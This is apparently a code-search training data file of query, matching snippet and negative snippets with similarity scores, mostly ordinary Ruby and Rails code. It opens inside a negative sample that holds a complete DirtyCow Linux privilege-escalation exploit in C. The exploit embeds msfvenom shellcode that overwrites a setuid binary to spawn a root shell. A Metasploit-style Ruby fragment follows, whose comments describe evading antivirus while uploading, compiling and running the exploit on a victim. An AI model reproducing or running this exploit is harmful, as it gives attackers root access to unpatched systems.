<sys/mman.h>\r\n#include <fcntl.h>\r\n#include <pthread.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\nvoid *map;\r\nint f;\r\nint stop = 0;\r\nstruct stat st;\r\nchar *name;\r\npthread_t pth1,pth2,pth3;\r\n\r\n// change if no permissions to read\r\nchar suid_binary[] = \"/usr/bin/passwd\";\r\n\r\n/*\r\n* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i\r\n*/ \r\nunsigned char sc[] = {\r\n 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,\r\n 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,\r\n 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,\r\n 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,\r\n 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,\r\n 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05\r\n};\r\nunsigned int sc_len = 177;\r\n\r\nvoid *madviseThread(void *arg)\r\n{\r\n char *str;\r\n str=(char*)arg;\r\n int i,c=0;\r\n for(i=0;i<1000000 && !stop;i++) {\r\n c+=madvise(map,100,MADV_DONTNEED);\r\n }\r\n printf(\"thread stopped\\n\");\r\n}\r\n\r\nvoid *procselfmemThread(void *arg)\r\n{\r\n char *str;\r\n str=(char*)arg;\r\n int f=open(\"/proc/self/mem\",O_RDWR);\r\n int i,c=0;\r\n for(i=0;i<1000000 && !stop;i++) {\r\n lseek(f,map,SEEK_SET);\r\n c+=write(f, str, sc_len);\r\n }\r\n printf(\"thread stopped\\n\");\r\n}\r\n\r\nvoid *waitForWrite(void *arg) {\r\n char buf[sc_len];\r\n\r\n for(;;) {\r\n FILE *fp = fopen(suid_binary, \"rb\");\r\n\r\n fread(buf, sc_len, 1, fp);\r\n\r\n if(memcmp(buf, sc, sc_len) == 0) {\r\n printf(\"%s is overwritten\\n\", suid_binary);\r\n break;\r\n }\r\n\r\n fclose(fp);\r\n sleep(1);\r\n }\r\n\r\n stop = 1;\r\n\r\n printf(\"Popping root shell.\\n\");\r\n printf(\"Don't forget to restore /tmp/bak\\n\");\r\n\r\n system(suid_binary);\r\n}\r\n\r\nint main(int argc,char *argv[]) {\r\n char *backup;\r\n\r\n printf(\"DirtyCow root privilege escalation\\n\");\r\n printf(\"Backing up %s.. to /tmp/bak\\n\", suid_binary);\r\n\r\n asprintf(&backup, \"cp %s /tmp/bak\", suid_binary);\r\n system(backup);\r\n\r\n f = open(suid_binary,O_RDONLY);\r\n fstat(f,&st);\r\n\r\n printf(\"Size of binary: %d\\n\", st.st_size);\r\n\r\n char payload[st.st_size];\r\n memset(payload, 0x90, st.st_size);\r\n memcpy(payload, sc, sc_len+1);\r\n\r\n map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);\r\n\r\n printf(\"Racing, this may take a while..\\n\");\r\n\r\n pthread_create(&pth1, NULL, &madviseThread, suid_binary);\r\n pthread_create(&pth2, NULL, &procselfmemThread, payload);\r\n pthread_create(&pth3, NULL, &waitForWrite, NULL);\r\n\r\n pthread_join(pth3, NULL);\r\n\r\n return 0;\r\n}\r\n^\r\n\r\n # Nome aleatรณrio, dificultando para ser pego por antivirus/semelhantes\r\n evil_path = \"#{base_dir}/#{Rex::Text.rand_text_alpha 8..12}\"\r\n\r\n # Faz o upload do arquivo .c para a vรญtima\r\n upload \"#{evil_path}.c\", main\r\n\r\n # Print caso set verbose esteja como true\r\n print_status \"Compiling #{evil_path}.c via gcc\"\r\n\r\n # Compila o arquivo c\r\n output = cmd_exec \"/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c -w\"\r\n unless output.eql? ''\r\n print_error \"Compilation failed: #{output}\"\r\n return\r\n end\r\n\r\n # Dรก a permissรฃo de execuรงรฃo do arquivo compilado\r\n print_status \"Executing payload at #{Time.now}...\"\r\n cmd_exec \"chmod +x #{evil_path}.out\"\r\n output = cmd_exec \"#{evil_path}.out\"\r\n output.each_line { |line| vprint_status line.chomp }\r\n end", "def solve_cipher(string, n)\n\n#Split each element of the string to get and array and return an array where each element is x (to operate with each element)\n string.split('').map do |x|\n#Create a new variable that will be the new index for each element.\n new_index = x.ord + n\n \n#Define the new index value with if conditional statements.\n\n#The value for whitespace is its value -26 as it is not included in the alphanumerical rules defined above\nif x == ' '\n new_index = ' '.ord - 26\nend\n\n\n#Declare the values of the index where it is above z's\nif new_index > 'z'.ord\n new_index = 'a'.ord + new_index - 'z'.ord - 1\nend\n\n#Declare the values of the index where it is beyond a's\nif new_index < 'a'.ord\n new_index = 'z'.ord - ('a'.ord - new_index) + 1\nend\n \n #Make the function return the list of numbers converted into letters \n new_index.chr\n\nend.join\n\nend", "def find_perm(key_str)\n key_arr = key_str.chars\n sorted_arr = key_arr.sort\n permut = key_arr.size.times.to_a.permutation.select do |perm|\n sorted_arr.values_at(*perm) == key_arr\n end.flatten\nend", "def problem_60a\n num_cut = 5\n# simple\n pairs = {}\n seen_primes = []\n num_primes = 0\n last = start = Time.now\n Primes.each do |p|\n next if p == 2\n b = p.to_s\n seen_primes.each_index do |sp_i|\n sp = seen_primes[sp_i]\n a = sp.to_s\n ai,bi = a.to_i,b.to_i\n ab = (a + b).to_i\n ba = (b + a).to_i\n\n if ba.prime? && ab.prime?\n # We have a pair that works both ways so add the peer to each prime\n pairs[ai] = aa = ((pairs[ai] || []) << bi).uniq\n pairs[bi] = bb = ((pairs[bi] || []) << ai).uniq\n next unless pairs[bi].length >= num_cut - 1 # bi is biggest of pair\n\n check = ([ai] + aa) & ([bi] + bb)\n if check.length >= num_cut\n puts \"Try #{check.inspect}\"\n perm = check.permutation(2).to_a\n new = perm.select do |x,y|\n (x.to_s + y.to_s).to_i.prime? && (x.to_s + y.to_s).to_i.prime?\n end\n if new.length == perm.length\n n = new.flatten.uniq\n sum = n.reduce(&:+)\n puts \"#{n.inspect} *** #{sum}\"\n return sum\n end\n end\n end\n end\n seen_primes << p\n end\n nil\nend", "def find_params(fonts)\n 1.upto(9) do |d|\n 2.times do\n 1.upto(999) do |u|\n 1.upto(999) do |v|\n if fonts.all? {|f| solve_identity(u, v, f + d) }\n table = fonts.map do |f|\n solve_identity(u, v, f + d).reverse\n end.transpose.flatten.map {|c| c.chr }.join\n return u, v, d, table\n end\n end\n end\n d = -d\n end\n end\n puts \"Not found.\"\n exit\nend", "def passFinder(l, u)\n passwords = 0\n\n for pass in l..u\n adjacent = false\n increasing = true\n prev = -1\n\n for i in 0..5\n curr = pass.to_s[i].to_i\n \n if prev == curr\n adjacent = true\n elsif prev > curr\n increasing = false\n end\n\n prev = curr\n end\n \n if adjacent && increasing\n passwords += 1\n end\n end\n\n return passwords\nend", "def test_confirm_point_values\n[:A,:E,:I,:O,:N,:R,:T,:L,:S,:U].each{|num| assert_equal 1, TileBag.points_for(num.to_sym)}\n\n[:D,:G].each{|num| assert_equal 2, TileBag.points_for(num.to_sym)}\n[:B,:C,:M,:P].each{|num| assert_equal 3, TileBag.points_for(num.to_sym)}\n[:F,:H,:V,:W,:Y].each{|num| assert_equal 4, TileBag.points_for(num.to_sym)}\n[:K].each{|num| assert_equal 5, TileBag.points_for(num.to_sym)} \n[:J,:X].each{|num| assert_equal 8, TileBag.points_for(num.to_sym)} \n[:Q,:Z].each{|num| assert_equal 10, TileBag.points_for(num.to_sym)} \n end", "def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend", "def unclean_find_permutations str\n # ArrayList<String> \n permutations = []\n permutations << \"\"\n\n# char [] \n strArray = str.chars\n\n# for (char c :\n strArray.each do |c|\n\n # ArrayList<String>\n tempList = []\n\n # for (String s :\n permutations.each do |s|\n # {\n for i in 0..s.length\n tempList << s[0...i] + c + s[i..s.length]\n\n # tempList << s+c\n end\n\n permutations = tempList\n # }\n end\n end\n\n # permutations.uniq\n permutations\nend", "def passFinderDouble(l, u)\n passwords = 0\n\n for pass in l..u\n if validate(pass)\n passwords += 1\n end\n end\n\n return passwords\nend", "def StringScramble(str1,str2)\n x = str1.chars.sort.join\n y = str2.chars.sort.join\n if x.include?(y)\n \t return true\n else\n return false\n end \nend", "def cram_md5_challenge; end", "def slow_dance(string, tile_direction)\n\n tile_directions.each_with_index do |direction, i|\n return i if string == direction\n end\n nil\nend" ]
[ "0.60361797", "0.56404847", "0.56071156", "0.55794", "0.55430835", "0.551515", "0.5511939", "0.5508555", "0.5503879", "0.54750425", "0.5429302", "0.538715", "0.532938", "0.532536", "0.53086025", "0.5302923", "0.5292559", "0.52742636", "0.52556676", "0.5249452", "0.5243619", "0.52351457", "0.52221674", "0.52099806", "0.5206649", "0.52019274", "0.5198851", "0.5184615", "0.51817524", "0.51768875", "0.51744634", "0.51617754", "0.5160413", "0.5160413", "0.5160413", "0.5160413", "0.51510185", "0.5148087", "0.5136475", "0.51363176", "0.51295406", "0.51246876", "0.51196265", "0.51177776", "0.5116296", "0.510168", "0.5097211", "0.5090826", "0.5089973", "0.50897264", "0.5089254", "0.5089203", "0.50735265", "0.50552934", "0.50533384", "0.50508535", "0.50314873", "0.50244504", "0.5014934", "0.50114", "0.5011196", "0.50084233", "0.5004685", "0.500228", "0.5000544", "0.49762896", "0.49748918", "0.4966336", "0.4966205", "0.49654576", "0.4960839", "0.49577588", "0.49550477", "0.49542192", "0.49537426", "0.49522653", "0.49517536", "0.49351716", "0.49340948", "0.49282017", "0.4926207", "0.4926207", "0.49260423", "0.4922418", "0.4916699", "0.4908041", "0.49066025", "0.49058193", "0.4905004", "0.49050003", "0.49045983", "0.4904325", "0.4898087", "0.48976558", "0.489672", "0.48964316", "0.48953816", "0.4893513", "0.48914874", "0.4888411" ]
0.5110925
45
GET /reports GET /reports.xml
def index @reports = Report.all respond_to do |format| format.html # index.html.erb format.xml { render :xml => @reports } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reports\n collection(\"reports\")\n end", "def reports\n @node = resource\n @reports = params[:kind] == \"inspect\" ? @node.reports.inspections : @node.reports.applies\n respond_to do |format|\n format.html { @reports = paginate_scope(@reports); render 'reports/index' }\n end\n end", "def report(id)\n get(\"reports/#{id}\")\n end", "def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end", "def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end", "def reports\n get(:reports)['Reports'].map do |details|\n Report.new(details['Url'], party: self, details: details)\n end\n end", "def show\n @user_reports = UserReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_reports }\n end\n end", "def reports\n backend.reports\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def show\n @report = Mg::Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def index\n @reports = Report.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def show\n @report = Report.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def index\n @report_templates = ReportTemplate.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @report_templates }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def show\n @dailyreport = Dailyreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dailyreport }\n end\n end", "def show\n @report = Report.find(params[:id])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def fetch_reports\n # fetch all the reports using this method and then create a Report for each of them\n end", "def get_report_list\n res=api_call('GetReportList')[:data]\n end", "def index\n @reports = Report.page(params[:page])\n end", "def reports\r\n ReportsController.instance\r\n end", "def my_reports\n @reports ||= Report.user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def get_reports(opts = {})\n data, _status_code, _headers = get_reports_with_http_info(opts)\n data\n end", "def index\n if params[:date].present?\n begin\n @date = Date.parse(params[:date])\n rescue => e\n Rails.logger.debug [e.class, e.message].join(' ')\n end\n end\n\n @date ||= (Report.latest_date.presence || Date.today)\n @reports = Report.date(@date).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def types\n @client.make_request :get, reports_path\n end", "def get_report(id_or_name, options={})\n request_params = options.inject({}) do |params, (key, val)|\n xero_key = key.to_s.camelize.gsub(/id/i, \"ID\").to_sym\n params[xero_key] = val\n params\n end\n response_xml = http_get(@client, \"#{@xero_url}/reports/#{id_or_name}\", request_params)\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/reports'})\n end", "def index\n @client_reports = Client::Report.all\n end", "def reports(from_id, start_date = nil, end_date = nil)\n params = []\n\n if from_id\n params << \"from_id=#{from_id}\"\n end\n\n if start_date and not end_date\n raise 'must include both start_date and end_date'\n end\n if end_date and not start_date\n raise 'must include both start_date and end_date'\n end\n\n if start_date and end_date\n params << \"start_date=#{start_date.strftime('%FT%T.%L%z')}\"\n params << \"end_date=#{end_date.strftime('%FT%T.%L%z')}\"\n end\n\n query = \"#{@endpoint}?\"\n\n if params.size > 0\n query << params.join('&')\n end\n\n get query\n end", "def index\n @et_reports = EtReport.all\n end", "def index\n if params[:external_otrunk_activity_id]\n @reports = ExternalOtrunkActivity.find(params[:external_otrunk_activity_id]).reports\n else\n @reports = Report.search(params[:search], params[:page], current_user)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def index\n @screen = session.active_screen\n @reports = Report.find(:all)\n\n @reports.sort!{|a,b| a.name <=> b.name }\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def index\n\t\treports = Report.all\n\t\tif !reports.nil?\n\t\t\trender :json => {:success => \"true\", :reports => reports}\n\t\telse\n\t\t\trender :json => {:success => \"false\"}\n\t\tend\n\tend", "def index\n @user_reports = UserReport.find_all_by_spam(false, :include => :user, :order => 'user_reports.created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reports }\n end\n end", "def get(options = {})\n @response_xml = options[:cache_file] ? File.read(options[:cache_file]) : http_get(options)\n response = Response.parse(response_xml, options) do | inner_response, elements |\n parse_reports(inner_response, elements)\n end\n response.response_items.first # there is is only one\n end", "def get_all_reports(type)\n \n LOGGER.info \"get all reports of type '\"+type.to_s+\"'\"\n check_report_type(type)\n @persistance.list_reports(type).collect{ |id| get_uri(type,id) }.join(\"\\n\")\n end", "def show\n @service_report = ServiceReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_report }\n end\n end", "def index\n @individual_reports = @medical_record.individual_reports.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @individual_reports }\n end\n end", "def index\n @dynamic_reports = DynamicReport.all\n end", "def index\n @admin_reports = Admin::Report.all\n end", "def report\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_tasks(task_id: id)\n end\n result = Nokogiri::XML(@agent.sendrecv(content.to_xml))\n report_id = result.at_css('report')[:id]\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_reports(report_id: report_id)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end", "def reports()\n return MicrosoftGraph::Reports::ReportsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def index\n @reports = current_user.reports.all\n end", "def index\n @action_reports = ActionReport.all\n end", "def index\n @daily_reports = DailyReport.all\n end", "def show_user_reports\n reports = User.find(params[:id]).reports\n render :json => reports\n end", "def index\n @inventory_reports = InventoryReport.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventory_reports }\n end\n end", "def show\n @software_report = SoftwareReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @software_report }\n end\n end", "def test_downloadXmlReport\n report_srv = @adwords.get_service(13, 'Report')\n\n # First we schedule a report\n job = AdWords::V13::ReportService::DefinedReportJob.new\n job.selectedReportType = 'Structure'\n job.aggregationTypes = 'Keyword'\n job.name = 'Report-%s' % DateTime.now.to_s\n job.selectedColumns = %w{Campaign AdGroup Keyword KeywordTypeDisplay}\n job.startDay = '2009-01-01'\n job.endDay = '2009-01-31'\n job_id = report_srv.scheduleReportJob(job).scheduleReportJobReturn\n\n # Now we use the downloadXmlReport method to download it\n report_data = report_srv.downloadXmlReport(job_id)\n\n # See if we got anything back\n assert((!report_data.nil? and !report_data.strip.empty?),\n 'Empty report returned; unable to verify correctness')\n\n # Check if we received valid XML as a reply\n doc = REXML::Document.new(report_data)\n\n # See if what we got back was XML, as we expected\n assert_not_nil(doc, 'Invalid XML returned; unable to verify correctness')\n end", "def index\n @ee_reports = EeReport.all\n end", "def index\n @ee_reports = EeReport.all\n end", "def index\n @journal_doc_reports = JournalDocReport.all\n end", "def list\n @reports_fetch = Report.all\n @reports = []\n\n @reports_fetch.each do |report|\n @reports << report if current_user == report.submitter\n end\n\n render status: 200, json: @reports.as_json(methods: [:url_title_string, :report_time_ms], include: { report_status_type: {}, report_type: {}, specified_submit_to_role: {} })\n end", "def get_report(params = {})\n values = params.slice(:vendor_number, :report_type, :report_sub_type, :date_type, :date).values\n if params[:version]\n values << params[:version]\n end\n\n fetch(@config[:sales_path], (['Sales.getReport'] + [values.join(',')]).join(', '))\n end", "def get_reports_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ReportApi.get_reports ...'\n end\n # resource path\n local_var_path = '/api/3/reports'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'sort'] = @api_client.build_collection_param(opts[:'sort'], :multi) if !opts[:'sort'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageOfReport')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ReportApi#get_reports\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @reports = current_user.reports.all\n\n end", "def index\n @reports = Report.last(7)\n @diaries = Report.order(:created_at)\n respond_to do |format|\n format.html\n format.csv { send_data @diaries.to_csv }\n format.xls { send_data @diaries.to_csv(col_sep: \"\\t\") }\n end\n end", "def report_list_hash\r\n post = { \"token\" => @token }\r\n docxml = nessus_request('report/list', post)\r\n reports = Array.new\r\n docxml.root.elements['contents'].elements['reports'].each_element('//report') do |report|\r\n entry = Hash.new\r\n entry[:id] = report.elements['name'].text\r\n entry[:name] = report.elements['readableName'].text\r\n entry[:status] = report.elements['status'].text;\r\n entry[:timestamp] = report.elements['timestamp'].text;\r\n reports.push(entry) \r\n\t\tend\r\n return reports\r\n end", "def xml_report\n @xml_report ||= parse\n end", "def index\n @chef_server_reports = ChefServerReport.all\n end", "def reports\n @reports ||= EbanqApi::Reports.new(self)\n end", "def reports_path; end", "def reports_path; end", "def get_report_list(params = {})\n response = get(\"/\", {\"Action\" => \"GetReportList\"}.merge(params))\n GetReportListResponse.format(response)\n end", "def show\n @report = Rails.cache.fetch(\"reports/#{params[:id]}\", :expires_in => 1.week) do\n Report.without(:email).find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def show\n @dailyreport_job = DailyreportJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dailyreport_job }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def index\n if params[:report_id]\n @report_types = Report.find(params[:report_id]).report_types\n else\n @report_types = ReportType.search(params[:search], params[:page], current_user)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @report_types }\n end\n end", "def show\n\t\t@report = Report.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @report }\n\t\tend\n\tend", "def index\n @project_reports = ProjectReport.all\n end", "def index\n @office_reports = Office::Report.all\n end", "def report_list_hash\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('report/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\t#puts docxml\n\t\t\treports=Array.new\n\t\t\tdocxml.root.elements['contents'].elements['reports'].each_element('//report') {|report|\n\t\t\t\tentry=Hash.new\n\t\t\t\tentry['id']=report.elements['name'].text if report.elements['name']\n\t\t\t\tentry['name']=report.elements['readableName'].text if report.elements['readableName']\n\t\t\t\tentry['status']=report.elements['status'].text if report.elements['status']\n\t\t\t\tentry['timestamp']=report.elements['timestamp'].text if report.elements['timestamp']\n\t\t\t\treports.push(entry)\n\t\t\t}\n\t\t\treturn reports\n\t\tend", "def index\n @reports = Report.all.paginate(page: params[:page], per_page: 10)\n @report = Report.new(report_params)\n end", "def get_report(report_id, params = {})\n response = get(\"/\", {\"Action\" => \"GetReport\", \"ReportId\" => report_id})\n # TODO format response\n end", "def index\n @visit_stats = VisitStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visit_stats }\n end\n end", "def index\n @charts = Chart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @charts }\n end\n end", "def index\n @accounting_reports = AccountingReport.all\n end", "def index\n @accounts = Account.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accounts }\n end\n end", "def index\n @accounts = Account.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accounts }\n end\n end", "def index\n @accounts = Account.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accounts }\n end\n end", "def index\n @expense_reports = ExpenseReport.all\n end", "def show\n @report = Report.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def show\n @inpatientdailyreport = Inpatientdailyreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inpatientdailyreport }\n end\n end", "def index\n @question_reports = QuestionReport.all\n end", "def index\n @reports = Report.all\n # @reports = Array.new\n end", "def show\n @comparative_report = ComparativeReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comparative_report }\n end\n end", "def index\n @reports = Report.all.order(\"updated_at DESC\").page(params[:page])\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end" ]
[ "0.75744605", "0.73578554", "0.7341337", "0.721651", "0.721651", "0.71889627", "0.7100547", "0.70582396", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.7038257", "0.69387543", "0.6926943", "0.68985665", "0.68832713", "0.6873677", "0.68646866", "0.68481714", "0.6827874", "0.6804039", "0.67870545", "0.67624015", "0.6742272", "0.67386234", "0.6725515", "0.6710119", "0.66663814", "0.6646286", "0.6643299", "0.66255367", "0.66185844", "0.6618191", "0.65822715", "0.6574874", "0.65710044", "0.6563489", "0.65565217", "0.6552096", "0.6534631", "0.653088", "0.6528467", "0.6515942", "0.64986724", "0.6495571", "0.64926463", "0.6483682", "0.64830023", "0.6479027", "0.6450655", "0.64504445", "0.6445777", "0.6445777", "0.64224863", "0.6407498", "0.6405311", "0.63807505", "0.6377668", "0.6372894", "0.637031", "0.63689506", "0.6360011", "0.63537425", "0.63519436", "0.63519436", "0.63477546", "0.6346551", "0.6339558", "0.63393253", "0.63393253", "0.63307035", "0.63303524", "0.6329276", "0.63049096", "0.62883705", "0.62879884", "0.6285263", "0.6275845", "0.62647665", "0.62526816", "0.62488544", "0.62488544", "0.62488544", "0.62463963", "0.62452066", "0.6241322", "0.6240339", "0.6238601", "0.6234489", "0.6234467", "0.62318844" ]
0.77149165
0
GET /reports/1 GET /reports/1.xml
def show @report = Report.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @report } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @reports = Report.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def report(id)\n get(\"reports/#{id}\")\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def show\n @report = Mg::Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def show\n @user_reports = UserReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_reports }\n end\n end", "def show\n @report = Report.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def show\n @dailyreport = Dailyreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dailyreport }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report }\n end\n end", "def reports\n @node = resource\n @reports = params[:kind] == \"inspect\" ? @node.reports.inspections : @node.reports.applies\n respond_to do |format|\n format.html { @reports = paginate_scope(@reports); render 'reports/index' }\n end\n end", "def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end", "def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end", "def reports\n collection(\"reports\")\n end", "def get(options = {})\n @response_xml = options[:cache_file] ? File.read(options[:cache_file]) : http_get(options)\n response = Response.parse(response_xml, options) do | inner_response, elements |\n parse_reports(inner_response, elements)\n end\n response.response_items.first # there is is only one\n end", "def get_report(id_or_name, options={})\n request_params = options.inject({}) do |params, (key, val)|\n xero_key = key.to_s.camelize.gsub(/id/i, \"ID\").to_sym\n params[xero_key] = val\n params\n end\n response_xml = http_get(@client, \"#{@xero_url}/reports/#{id_or_name}\", request_params)\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/reports'})\n end", "def index\n @report_templates = ReportTemplate.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @report_templates }\n end\n end", "def show\n @service_report = ServiceReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_report }\n end\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def reports\n get(:reports)['Reports'].map do |details|\n Report.new(details['Url'], party: self, details: details)\n end\n end", "def index\n if params[:external_otrunk_activity_id]\n @reports = 